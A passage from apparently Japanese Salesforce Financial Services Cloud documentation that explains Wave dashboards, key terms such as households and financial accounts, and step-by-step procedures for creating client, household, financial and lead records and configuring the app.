• 私のクライアントリスト - セールス & 商談 — 新たな AUM の商談を識別し、目標達成に向けてセールス
プロセスに取り組むことで、クライアントリストを拡大します。

3. 関心のあるダッシュボードを選択します。[更新] を選択して最新のデータを取得します。

Wave for Financial Services Cloud

エディション

使用可能なエディション:
Enterprise Edition および
Unlimited Edition

Wave for Financial Services Cloud アプリケーションは、Financial Services Cloud の埋め込
み Wave ダッシュボードを使用できます。設定可能なクライアントデータのダッ
シュボードとカスタムグラフを使用して、クライアントリストの新しいインサ
イトを取得できます。

ナビゲーションバーから、[アドバイザー Wave] をクリックします。
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Wave for Financial Services Cloud には複数の埋め込みダッシュボードが含まれ、各ダッシュボードはクライアント
リストの異なる領域に焦点を絞っています。
• Client List (クライアントリスト): 堅牢な検索機能で注目するクライアントのリストを取得し、アドバイザーの

価格リスト全体で財務データポイントと取引先の詳細を明らかにします。
• 80/20: アドバイザリ活動とクライアントの収益を比較して時間を最大活用し、可能性の高いクライアントに

適用する主要なアクションを識別します。
• 活動: 異なる活動種別のコンテキストでインタラクションを分析し、クライアントリレーションにどう影響

するかを確認します。将来のエンゲージメントを改善するためのギャップと機会を識別します。
• 金融口座: タイムリーに市場の状況に対応するために、アドバイザーの顧客リストを構成する金融口座と証

券の種類を明らかにします。
• Client Goals (クライアントの目標): アドバイザーの顧客リスト全体でクライアントの目標を測定し、主要なト

レンドを特定して、クライアントデータのコンテキストで ToDo または商談を作成して、アドバイザーがク
ライアントを管理しやすくします。

どのようなクライアントデータを表示できますか?
Salesforce のセキュリティおよび共有モデルは、クライアントデータへの柔軟で適切なアクセスレベルを保証し
ます。アドバイザリチーム用に定義されているデータ表示の詳細は、システム管理者にお問い合わせくださ
い。

主要な用語

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

用語によっては、金融サービスのコンテキスト内で複数の意味を持つ場合があ
ります。アプリケーションで取引先やクライアントのような用語が出現したら、
その意味を明確にすることが重要です。
取引先

消費者や他の企業とビジネスを行うベンダまたは企業などの法人取引先。ア
カウントと混同しないでください。Financial Services Cloud では、取引先が世帯
エンティティや個人クライアントを示す場合もあります。

資産
不動産やコレクションなど、金融口座レコードでは表されない有形資産。会社が、資産集約サービスを使
用して未管理金融口座を追跡していない場合、資産を使用して簡易に未管理金融口座を説明することもで
きます。

クライアント
過去、現在、または将来に自分の会社とビジネスを行う個人。見込み客もクライアントです。アプリケー
ション内では、個人はクライアントである人物を意味します。クライアントと個人は同じ意味で使用され
ています。

金融口座
投資口座、銀行口座、保険証券、またはその他の種類の金融口座。一部の金融サービスアプリケーション
では、金融口座が組織の中心となります。他のアプリケーションでは、クライアントまたは家族が中心で
す。Financial Services Cloud は、クライアント中心に設計されているため、後者のカテゴリに当てはまります。
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世帯
相互の直接リレーションがあり、財務が世帯レベルで集計される人物およびビジネスエンティティを含む
リレーショングループ。Salesforce が、世帯内の各個人がどう関係するかを直接追跡することはありません。
各個人のリレーションは、各自と同じ世帯とのリレーションに基づき、世帯内の各自のロール (クライアン
ト、配偶者、扶養家族など) によって決まります。
弁護士、会計士、税務プランナーなど、世帯に関連付けられているが、世帯に属していない人物は、関連
取引先責任者です。関連ビジネスや関連世帯など、世帯に関連付けられているが、財務が世帯に積み上げ
集計されない組織エンティティは、関連取引先です。
クライアントおよび世帯プロファイルでは、世帯 (リレーショングループ) メンバーがまとめて表示され、
他の関連付けられたエンティティ (拡張リレーションとも呼ばれる) とは明確に区別されています。

個人
クライアントである人物。

負債
住宅ローンや融資など、支払義務のある負債。

クライアント、世帯、リレーションの設定

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

クライアント、世帯、リレーションの拡張ネットワークのレコードを作成し、
クライアントリストに総合的かつ豊富な内容が表示されるよう維持します。

クライアントまたは見込み客の作成
新しいクライアントまたは見込み客とのエンゲージメントを追跡する場合
は、クライアントレコードを作成します。
世帯の作成
相互の直接リレーションと共有財務がある個人クライアントおよびビジネス
エンティティのグループを追跡します。
リレーショングループの作成
リレーショングループを使用して、Financial Services Cloud のクライアントと世帯のリレーションの作成、管
理、視覚化を行います。たとえば、世帯はリレーショングループの一種です。
世帯メンバーとリレーションの追加
メンバーを世帯に追加し、ビジネスエンティティとその他の人を世帯メンバーに関連付けます。世帯レベ
ルでメンバーの活動と財務を集計する方法を定義します。
クライアントまたは世帯への拡張リレーションの追加
クライアントの世帯以外の人々とのリレーションを視覚化すると便利です。クライアントの財務状況につ
いてアドバイスを行う他の専門家を追跡します。また、クライアントの所有企業や他の組織エンティティ
との提携も追跡します。
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クライアントまたは見込み客の作成
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

新しいクライアントまたは見込み客とのエンゲージメントを追跡する場合は、
クライアントレコードを作成します。
1. [クライアント] リストビューから、[新規] を選択します。
2. [個別] を選択します。
3. [取引先名] で、クライアントの名前を入力します。
4. 状況を選択します。

• 確認済みのクライアントの場合は、[有効] を選択します。
• 見込み客の場合は、[見込み客] を選択します。
• オンボーディング中のクライアントの場合は、[オンボーディング] を選択します。

5. その他の関連情報を入力したら、レコードを保存します。
クライアントは削除できません。

世帯の作成
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

相互の直接リレーションと共有財務がある個人クライアントおよびビジネスエ
ンティティのグループを追跡します。

メモ: 世帯は、リレーショングループの一種です。
1. [取引先] リストビューから、[新規] を選択します。
2. [世帯] を選択します。
3. [取引先名] に世帯名を入力します (例: Claire Johnson の世帯)。他の項目は自動的

に計算されるかまだ適用されないため、空のままにします。
4. レコードを保存します。

世帯の削除や無効化はできません。
5. [リレーション] タブで、次のいずれかの操作を実行します。

• リレーションの対応付けの世帯コンポーネントで、[グループを編集] をクリックします。
• [グループメンバー] セクションで、[編集] をクリックします。

世帯の作成の次の部分では、グループメンバーとリレーションを追加します。

関連トピック:

世帯メンバーとリレーションの追加
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リレーショングループの作成
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

リレーショングループを使用して、Financial Services Cloud のクライアントと世帯
のリレーションの作成、管理、視覚化を行います。たとえば、世帯はリレーショ
ングループの一種です。

メモ: 世帯の削除や無効化はできません。
1. 個人クライアントまたは法人取引先プロファイルから、[リレーション] タブ

をクリックします。
2. 次のいずれかの操作を実行します。

• リレーションの対応付けで、[+ グループの追加] をクリックします。
• [プライマリグループ] セクションで、[新規] をクリックします。

メモ: クライアントにすでにプライマリグループがある場合は、そのグループがセクション名とし
て表示されます。そのプライマリグループを編集できます。1 つのクライアントに対してプライマ
リグループは 1 つしか指定できません。

• [リレーショングループ] セクションで、[新規] をクリックします。

3. [取引先名] に世帯名を入力します (例: Claire Johnson の世帯)。その他すべての項目は空のままにします。
4. [保存 & 次へ] をクリックします。
メンバーとリレーションをリレーショングループに追加します。

関連トピック:

世帯メンバーとリレーションの追加

世帯メンバーとリレーションの追加
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

メンバーを世帯に追加し、ビジネスエンティティとその他の人を世帯メンバー
に関連付けます。世帯レベルでメンバーの活動と財務を集計する方法を定義し
ます。

メモ: クライアントを複数の世帯に追加できない場合は、複数のリレーショ
ングループのカスタム設定を有効化するように Salesforce システム管理者に
依頼してください。

1. 次のいずれかの操作を実行します。
• 世帯の作成
• リレーショングループの作成

2. [メンバーの名前] に、既存の個人クライアントの名前を入力するか、[+ 新規取引先責任者]を選択します。
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新規取引先責任者の場合は、次の操作を実行します。
a. [個々] レコードタイプを選択します。続いて、[次へ] をクリックします。
b. 取引先責任者の姓、およびその他の省略可能な情報を入力します。
c. 取引先責任者レコードを保存します。

3. メンバーのロールを選択します。
• メンバーがプライマリ世帯メンバーである場合は、[クライアント]を選択します。メンバーごとに複数

のロールを選択できます。
• メンバーがプライマリ世帯メンバーでない場合は、プライマリ世帯メンバーのロールを基準にして、扶

養家族や配偶者というように、メンバーのロールを選択します。

4. このメンバーの活動とオブジェクトを積み上げ集計する場合は、[プライマリグループ] を選択します。
• 積み上げ集計項目は、この世帯がプライマリグループである、すべてのメンバーについて、世帯レベル

で集計されます。
• 世帯をメンバーのプライマリグループに指定すると、メンバーの関連ビジネスを世帯に追加できます。

世帯のメンバーとして、関連ビジネスの活動とオブジェクトも、世帯レベルで集計されます。
• ビジネスは、1 つのプライマリグループのみに追加できます。

5. この世帯をメンバーのプライマリグループとして有効にする場合は、世帯レベルでデータを集計するとき、
金融口座や財務目標など、積み上げ集計する活動とオブジェクトを選択します。

メモ: メンバーごとに複数の項目を選択できます。

6. この個人をプライマリ世帯メンバーとして指定するには、[プライマリメンバー] を選択します。
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プライマリメンバーの指定は必須ではありませんが、世帯に含めることができるプライマリメンバーは 1

人のみです。
7. 別のメンバーを世帯に追加するには、[+ 行を追加] をクリックして必要な情報を入力します。
8. メンバーのビジネスエンティティを世帯に関連付けるには、次の操作を実行します。

a. 他の取引先とのリレーションのセクションの [関連メンバー] で、世帯メンバーを入力します。
b. メンバーと関連ビジネスエンティティとの関連付けを説明するロールを選択します。
c. メンバーの関連ビジネスエンティティを入力します。
d. ビジネスエンティティを世帯のメンバーにして、ビジネスの活動とオブジェクトを世帯レベルで集計す

る場合は、[グループに追加] を選択します。

メモ: このビジネスエンティティを世帯に追加するには、この世帯を関連メンバーのプライマリグ
ループにする必要があります。

e. 別のビジネスエンティティを世帯に関連付けるには、[+ 行を追加] をクリックして情報を入力します。

9. メンバーを別の人に関連付けるには、次の操作を実行します。
a. 他の人とのリレーションのセクションの [関連メンバー] で、世帯メンバーを入力します。
b. 取引先責任者と関連メンバーとの関連付けを説明する関連ロールを選択します。
c. メンバーの関連取引先責任者を入力します。
d. 別の人を世帯メンバーに関連付けるには、[+ 行を追加] をクリックして情報を入力します。

クライアントまたは世帯への拡張リレーションの追加
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

クライアントの世帯以外の人々とのリレーションを視覚化すると便利です。ク
ライアントの財務状況についてアドバイスを行う他の専門家を追跡します。ま
た、クライアントの所有企業や他の組織エンティティとの提携も追跡します。

クライアントまたは世帯への取引先責任者の関連付け
弁護士、会計士、またはその他の専門職を関連取引先責任者として追加しま
す。最初に、取引先責任者の法人取引先を作成します (Salesforceではすべての
取引先責任者が取引先に属するため)。次に、その取引先責任者をクライアン
トまたは世帯に関連付けます。
世帯への取引先または別の世帯の関連付け
世帯に関連付けられている取引先を追加して、世帯と他のエンティティ (ビジネス、企業合同、別の世帯な
ど) とのリレーションを追跡します。
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クライアントまたは世帯への取引先責任者の関連付け

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

弁護士、会計士、またはその他の専門職を関連取引先責任者として追加します。
最初に、取引先責任者の法人取引先を作成します (Salesforce ではすべての取引先
責任者が取引先に属するため)。次に、その取引先責任者をクライアントまたは
世帯に関連付けます。
1. ナビゲーションメニューで、[取引先] に移動し、[新規] を選択します。取引

先レコードを作成します。
弁護士を関連取引先責任者として追加する場合は、法律事務所の取引先レ
コードを作成します。

2. クライアントまたは世帯プロファイルの [リレーション] タブで、次のいずれかの操作を実行します。
• リレーションの対応付けで、[+ 取引先責任者の追加] をクリックします。
• [関連取引先責任者] セクションで、[新規] をクリックします。

3. [取引先責任者] で、取引先責任者が関連付けられている世帯メンバーの名前を確認します。
取引先責任者は特定のメンバー (世帯そのものではなく) に関連付ける必要があります。

4. [関連取引先責任者]項目をクリックします。既存の取引先責任者または[新規取引先責任者]を選択します。
新規取引先責任者の場合は、次の手順を実行します。
a. 法人取引先責任者を追加するので、[ビジネス]レコードタイプを選択します。[次へ]をクリックします。
b. 取引先責任者の姓を入力し、最初のステップで作成した取引先名を選択します。
c. 取引先責任者レコードを保存します。

5. [関連ロール] で、取引先責任者とクライアントとの関連付け方法を説明するロールを選択します。
6. 関連取引先レコードを保存します。
関連取引先責任者は、クライアントプロファイルと世帯プロファイルの両方に表示されます。取引先責任者の
レコード詳細ページにも、取引先責任者が関係するエンティティが表示されます。

世帯への取引先または別の世帯の関連付け

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

世帯に関連付けられている取引先を追加して、世帯と他のエンティティ (ビジネ
ス、企業合同、別の世帯など) とのリレーションを追跡します。
取引先エンティティは世帯エンティティにのみ関連付けることができます。個
人のクライアントには関連付けできません。クライアントと組織エンティティ
のリレーションを追跡するには、取引先を世帯と関連付けることをお勧めしま
す。
1. 世帯プロファイルの [リレーション] タブで、次のいずれかの操作を実行しま

す。
• リレーションの対応付けで、[+ 取引先の追加] をクリックします。
• [関連取引先] セクションで、[新規] をクリックします。

2. [取引先] で、取引先が関連付けられている世帯の名前を確認します。
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3. [関連取引先] 項目をクリックし、既存の取引先または [新規取引先] を選択します。新規取引先の場合、次
の操作を実行します。
a. 関連取引先が別の世帯の場合、[世帯]レコードタイプを選択します。関連取引先がビジネスまたは組織

エンティティの場合、[ビジネス] レコードタイプを選択します。続いて、[次へ] をクリックします。
b. 取引先の名前、および必要に応じて他の情報を入力します。
c. 取引先レコードを保存します。

4. [関連ロール] で、取引先と世帯との関連付け方法を説明するロールを選択します。
5. 関連取引先レコードを保存します。
関連取引先は、世帯プロファイルに表示されます。取引先のレコード詳細ページにも、取引先が関係するエン
ティティが表示されます。

財務データの入力

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

クライアントの金融口座、基礎となる保有株、資産、負債、財務目標のレコー
ドを作成します。

金融口座の追加
投資口座、銀行口座、または保険証券に関する情報を入力します。通常、こ
のデータは外部システムから自動的に更新されますが、金融口座を手動で入
力する方法を次に説明します。
投資口座内の保有株の表示
投資口座のビューを展開して、基礎となる保有株を表示します。
投資口座への持ち株の追加
投資口座の金融持ち株に関する購入履歴と詳細を入力します。
証券レコードの作成
株式や債券などの証券に関する情報を入力します。通常、このデータは外部システムから自動的に更新さ
れますが、証券レコードを手動で入力する方法を次に説明します。
資産または負債の追加
有形資産 (不動産や収集品など) または負債 (抵当やローンなど) に関する情報を入力します。
財務目標の追加
大きな買い物、退職貯蓄、その他の人生の目標に向けたクライアントの進展状況を追跡する財務目標を作
成します。
金融口座ロールの追加
クライアントの金融口座への関与 (受益者や受託者など) に関する情報を入力します。
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金融口座の追加
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

投資口座、銀行口座、または保険証券に関する情報を入力します。通常、この
データは外部システムから自動的に更新されますが、金融口座を手動で入力す
る方法を次に説明します。
1. クライアントまたは世帯プロファイルの [財務] タブで、該当する金融口座セ

クションの [新規] を選択します。
2. 関連する詳細を入力します。

[プライマリ所有者] は、世帯自体ではなく世帯メンバーまたは組織エンティ
ティです。
投資口座を自社で管理している場合は [管理] を選択します。自社製品の場合は、[個別保有] をオフのま
まにします。

3. レコードを保存します。
クライアントプロファイルから金融口座を作成し、クライアントの金融口座情報が世帯レベルで集計され
ている場合、新しく作成された口座は世帯プロファイルにも表示されます。金融口座が複数の個人により
共同で所有されている場合、各個人のプロファイルに完全な残高が表示されます。
一部または全員が同じ世帯に属し、金融口座がプライマリ所有者のその世帯の積み上げ集計に含まれてい
る場合、集計で残高は 1 回のみ計算されます。
個人クライアントと組織エンティティが共同で金融口座を所有している場合は、積み上げ集計に口座残高
が含まれるかどうかは、プライマリ所有者によって決まります。
• プライマリ所有者が個人クライアントの場合、残高はクライアントの世帯積み上げ集計に含まれます。
• プライマリ所有者が組織エンティティの場合、残高はクライアントの世帯積み上げ集計に含まれませ

ん。

[財務] タブまたは [関連] タブから金融口座を編集、削除できます。また、金融口座と関連付けられたウォレッ
トシェア商談も作成できます。金融口座名の横にあるアクションアイコンを選択します。

関連トピック:

ウォレットシェア商談の作成
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投資口座内の保有株の表示
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

ユーザ権限

保有株を表示する
• 「アドバイザー」権限

投資口座のビューを展開して、基礎となる保有株を表示します。
1. クライアントまたは世帯プロファイルの [財務] タブで、投資口座名の横にあ

る矢印アイコンを探します。
アイコンがない場合、保有株情報を使用できません。

2. 投資口座内の保有株リストを展開するには、矢印アイコンを選択します。

関連トピック:

投資口座への持ち株の追加

投資口座への持ち株の追加
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

投資口座の金融持ち株に関する購入履歴と詳細を入力します。
持ち株を追加する場合、既存の証券レコードからのみ選択できます。証券レコー
ドがまだ存在しない場合は、最初に作成します。
1. クライアントまたは世帯プロファイルの [関連] タブで、[金融持ち株] セクショ

ンの [新規] を選択します。
2. 「Salesforce 株」などの名前を入力します。
3. 株式コードを選択します。
4. この持ち株の金融口座 (投資口座) を選択します。
5. 購入の詳細を入力します。
6. レコードを保存します。

関連トピック:

証券レコードの作成
投資口座内の保有株の表示

証券レコードの作成
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

株式や債券などの証券に関する情報を入力します。通常、このデータは外部シ
ステムから自動的に更新されますが、証券レコードを手動で入力する方法を次
に説明します。
投資口座の持ち株を入力する前に、証券データが入力されていることを確認し
ます。入力されていないと、証券を持ち株の一部として指定できません。
1. ナビゲーションメニューから、[証券] リストビューに移動して [新規] を選択

します。
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2. 株式コード、証券名、その他の関連する詳細を入力します。
3. レコードを保存します。

資産または負債の追加
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

有形資産 (不動産や収集品など) または負債 (抵当やローンなど) に関する情報を
入力します。
1. クライアントまたは世帯プロファイルの [財務] または [関連] タブで、[資産と

負債] セクションの [新規] を選択します。
2. [資産] または [負債] レコードタイプを選択します。
3. 必要な詳細を入力してレコードを保存します。

財務目標の追加
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

大きな買い物、退職貯蓄、その他の人生の目標に向けたクライアントの進展状
況を追跡する財務目標を作成します。
1. クライアントまたは世帯プロファイルの [目標] タブで、[目標の概要] セクショ

ンの [新規] を選択します。
2. 名前を入力します。
3. 目標のプライマリ所有者である世帯メンバーを選択します。
4. その他の関連する詳細を入力してレコードを保存します。

クライアントプロファイルから目標を作成し、クライアントの目標が世帯レベルで集計されている場合、
目標は世帯プロファイルにも表示されます。

[目標] タブまたは [関連] タブから目標を編集、削除できます。現時点では、貯蓄に関する目標のみを入力でき
ます。負債の支払いなどの目標はサポートされていません。目標を特定の金融口座と関連付けることはできま
せん。

金融口座ロールの追加
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

クライアントの金融口座への関与 (受益者や受託者など) に関する情報を入力し
ます。
1. クライアントプロファイルの [財務] タブで、[金融口座ロール] セクションの

[新規] を選択します。
2. クライアントの関与を表す金融口座とロールを選択します。
3. 関連する詳細を入力し、必要に応じて開始日を更新します。
4. レコードを保存します。

新しく追加したロールは [財務] タブに表示されます。

メモ: クライアントプロファイルの [関連] タブには、クライアントが担う金融口座ロールの完全なリ
ストが表示されます。[関連] リストには、[プライマリ所有者] と [共同所有者] の金融口座ロールが含ま
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れます。これらの金融口座ロールは、クライアントが金融口座レコードのプライマリ所有者または共
同所有者であることを示したときに、自動的に作成および更新されます。

ウォレットシェア商談の作成

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

金融口座に関連する商談レコードを作成し、ウォレットシェア商談を追跡しま
す。
1. [財務] タブで、金融口座名の横にあるアクションアイコンを選択します。
2. [新規商談 (ウォレットシェア)] を選択します。
3. 必須項目および関連する詳細を入力します。
4. レコードを保存します。

リードの作成

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

リードレコードを作成して見込み客を追跡します。
1. ナビゲーションバーから [リード] リストビューに移動して、[新規] を選択し

ます。
2. 適切なリードレコードタイプを選択し、[次へ] を選択します。
3. 名前、会社名、リード状況、その他の関連する詳細を入力します。
4. レコードを保存します。

クライアントへのリードの変換

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

リードレコードをクライアントレコードに変換します。
1. リードの詳細ページで、[取引の開始] を選択します。
2. [取引先名] をクリックし、[新規取引先] を選択します。
3. 各レコードタイプを選択し、[次へ] を選択します。
4. 関連する詳細を入力します。
5. 新しい取引先レコードを保存します。
6. 取引開始済みリードに関連する商談レコードも作成する場合は、商談名を入

力します。
7. [取引の開始] を選択します。
8. 確認メッセージを閉じるか、[リードに移動] を選択してリードレコードの作成をさらに続けます。

7134

ウォレットシェア商談の作成Financial Services Cloud へようこそ



金融口座からのケースの作成

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

金融口座のページまたはクライアントのプロファイルページから関連ケースを
参照できるように、クライアントの金融口座のケースを作成します。
1. クライアントのプロファイルページから、[金融口座]タブをクリックします。
2. 金融口座名の横にあるドロップダウンメニューから、[新規ケース] をクリッ

クします。

3. ケースに関する情報を入力します。
4. 変更内容を保存します。
ケースがクライアントの金融口座に関連付けられます。

金融口座ページまたはクライアントのプロファイルページの [関連] タブにある [ケース] セクションから、この
ケースを参照できます。
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クライアントデータの操作

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

クライアントのインタラクションの詳細を追跡し、豊富な履歴を展開して関係
の構築を促します。

クライアントのインタラクションの追跡
ToDo と行動を追跡し、クライアントのコミュニケーションをログに記録し
て、クライアントとのインタラクションの完全な履歴を管理します。
クライアントの関心の追跡
クライアントの個人的関心と財政的関心を追跡することで、簡単にコミュニ
ケーションをカスタマイズし、クライアントの関心事に合わせることができます。

クライアントのインタラクションの追跡
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

ToDo と行動を追跡し、クライアントのコミュニケーションをログに記録して、
クライアントとのインタラクションの完全な履歴を管理します。
1. クライアントプロファイルで、[活動] タブに移動します。
2. 該当するタブで、ToDo または行動のスケジュール、メールの送信、または活

動の記録を行います。
クライアントの ToDo または行動が世帯の積み上げ集計に含まれている場合、
その ToDo または行動は [関連] タブの世帯プロファイルの [活動] 関連リストに
も表示されます。

クライアントのインタラクションを追跡するときの考慮事項は、次のとおりです。
• システム管理者は、クライアントプロファイルと世帯プロファイルに表示される [前回のインタラクション]

および [次回のインタラクション] の日付に影響する活動を指定できます。詳細は、システム管理者にお問
い合わせください。

• [前回のレビュー] および [次回のレビュー] の日付は、クライアントの [レビュー頻度] に基づいて自動的に計
算されることはありません。[前回のレビュー] と [次回のレビュー] の日付は、ToDo または行動がレビュー
ミーティングの場合でもクライアントの ToDo または行動の日付とは無関係です。

クライアントの関心の追跡
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

クライアントの個人的関心と財政的関心を追跡することで、簡単にコミュニケー
ションをカスタマイズし、クライアントの関心事に合わせることができます。
1. クライアントプロファイルの強調表示パネルで、[編集] を選択します。
2. [クライアント掌握] セクションで、[個人的な関心事] または [財務的な関心

事] 項目をクリックします。
3. 「料理」や「退職」などの関心事を入力します。アプリケーションに存在す

る場合は、提案された関心事のリストから選択します。それ以外の場合は、
それぞれの新しいエントリの後に Enter キーを押してリストに追加します。
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4. 変更内容を保存します。

追加設定: 実装のカスタマイズ

さらに細かく制御する場合、Financial Services Cloud で次のタスクを実行します。

Salesforce1 ナビゲーションメニューの変更
アドバイザーが Salesforce1モバイルナビゲーションメニューから Financial Services Cloudにアクセスできるよう
にします。
カスタムオブジェクトのページレイアウトへのアクションの追加
Financial Services Cloudカスタムオブジェクトのコピー、削除、および編集アクションを有効にして、Lightning

Experience のレコード詳細ページでアドバイザーがそれらのアクションを利用できるようにします。
相互ロールの設定
相互ロールにより、リレーション内で、あるエンティティのロールを別のエンティティとの関連で説明し
ます。たとえば、クライアントと代理権、または事業主と企業のようになります。一般的に使用される、
一連の相互ロールレコードが提供されています。この相互ロールレコードを編集し、拡大家族、特定の種
類の弁護士、さまざまな専門のアフィリエーションに、さらに詳細なロールを指定できます。
リードの会社名上書きの設定
B2C リード変換プロセスの設定の一環として、[カスタム設定] で会社名上書きを設定します。デフォルトで
は、上書きはシステム管理者とアドバイザーのプロファイルで有効です。
Chatter フィード追跡の設定
会社で Chatter の使用が承認されている場合、フィード追跡を設定して、アドバイザーが Chatter フィードを
クライアントおよび世帯プロファイルで使用できるようにします。フィードにより、アドバイザリチーム
がコラボレーションサービスおよびアドバイスを簡単に行うことができるようになります。Chatter では、
[コラボレーション] タブの Chatter フィード以外のパッケージ化された機能は必要ありません。
個人およびグループのカスタムレコードタイプの設定
Financial Services Cloud では、個々のクライアントおよびグループのカスタムレコードタイプを柔軟に設定で
きます。デフォルトのレコードタイプがアドバイザーの個々のクライアントまたはリレーショングループ
に適していない場合、Financial Services Cloud で提供されるデフォルトの個人またはグループレコードタイプ
に基づいて、カスタムレコードタイプを設定できます。

Salesforce1 ナビゲーションメニューの変更
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

アドバイザーが Salesforce1 モバイルナビゲーションメニューから Financial Services

Cloud にアクセスできるようにします。
1. [設定] から、[クイック検索]ボックスに「Salesforce1 ナビゲーション」と

入力し、[Salesforce1 ナビゲーション] を選択します。
2. [選択済み] メニュー項目リストにサポートされる項目のみが含まれているこ

とを確認します。
推奨項目は、次のとおりです。
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• 取引先
• 取引先責任者
• 金融口座
• 財務目標
• 金融持ち株
• 資産と負債
• リード
• 商談
• ToDo

• メモ
• Events (行動)

• ダッシュボード
• レポート
• フィード
• 人
• グループ
• スマート検索

3. 変更内容を保存します。

メモ:  [取引先] ページは Salesforce Classic 取引先ページで表示されます。ホームページは Salesforce1 また
はモバイルブラウザでは機能しません。

カスタムオブジェクトのページレイアウトへのアクションの追加
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

Financial Services Cloudカスタムオブジェクトのコピー、削除、および編集アクショ
ンを有効にして、Lightning Experience のレコード詳細ページでアドバイザーがそ
れらのアクションを利用できるようにします。
1. 「Financial Accounts (金融口座)」など、アクションを管理する各カスタムオブ

ジェクトの管理設定から [ページレイアウト] に移動します。
2. アクションの追加先の各ページレイアウトの横にある [編集]を選択します。
3. パレットで [Salesforce1および Lightning のアクション]カテゴリを選択し、次

のアクションを [Salesforce1およびLightning Experienceアクション]セクションに
ドラッグします。
• コピー
• 削除
• 編集

4. 変更内容を保存します。
5. 必要に応じて、カスタムオブジェクトのページレイアウトごとにこの手順を繰り返します。
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相互ロールの設定
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

相互ロールにより、リレーション内で、あるエンティティのロールを別のエン
ティティとの関連で説明します。たとえば、クライアントと代理権、または事
業主と企業のようになります。一般的に使用される、一連の相互ロールレコー
ドが提供されています。この相互ロールレコードを編集し、拡大家族、特定の
種類の弁護士、さまざまな専門のアフィリエーションに、さらに詳細なロール
を指定できます。
1. Salesforce Classic に切り替えて、[相互ロール] タブに移動します。

ヒント: このタブがタブバーに表示されない場合は、[すべてのタブ] ア
イコンを選択し、使用可能なタブの完全なリストを表示します。

2. [ビュー] ドロップダウンリストで、[すべて] を選択してから [移動] を選択し、相互ロールを表示します。

逆ロール

クライアント会計士

クライアント弁護士

扶養家族親

親扶養家族

前配偶者前配偶者

孫祖父母

祖父母孫

クライアント代理権

拡大家族拡大家族

事業主ビジネス

兄弟兄弟

配偶者配偶者

3. 必要に応じて相互ロールを編集します。相互ロールレコードを追加して [逆ロールの作成] を選択すると、
Salesforce により、ロールと逆ロールがスワップされた値を含む、対応レコードが作成されます。

メモ: 定義済み相互ロールは英語のみで使用可能です。別の言語に翻訳するには、ロールレコードを
削除して独自のレコードを作成します。
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リードの会社名上書きの設定
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

B2C リード変換プロセスの設定の一環として、[カスタム設定] で会社名上書きを
設定します。デフォルトでは、上書きはシステム管理者とアドバイザーのプロ
ファイルで有効です。
1. [設定] から、[クイック検索] ボックスに「カスタム設定」と入力し、[カスタ

ム設定] を選択します。
2. [B2C リード会社名設定] を選択します。
3. [管理]をクリックし、[システム管理者]または [アドバイザー]を編集します。
4. 上書きをオフにするには、[会社名の上書き] をクリアします。
5. このカスタム設定をその他のプロファイルまたはユーザに適用する場合は、プロファイルまたはユーザを

追加し、それぞれで [会社名の上書き] が選択されていることを確認します。

Chatter フィード追跡の設定
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

会社で Chatter の使用が承認されている場合、フィード追跡を設定して、アドバ
イザーが Chatter フィードをクライアントおよび世帯プロファイルで使用できる
ようにします。フィードにより、アドバイザリチームがコラボレーションサー
ビスおよびアドバイスを簡単に行うことができるようになります。Chatter では、
[コラボレーション] タブの Chatter フィード以外のパッケージ化された機能は必
要ありません。
1. Chatter が有効になっていることを確認します。

a. [設定] から、[クイック検索] ボックスに「Chatter 設定」と入力し、
[Chatter 設定] を選択します。

b. [Chatter 設定] セクションで、[有効化] が選択されていることを確認します。

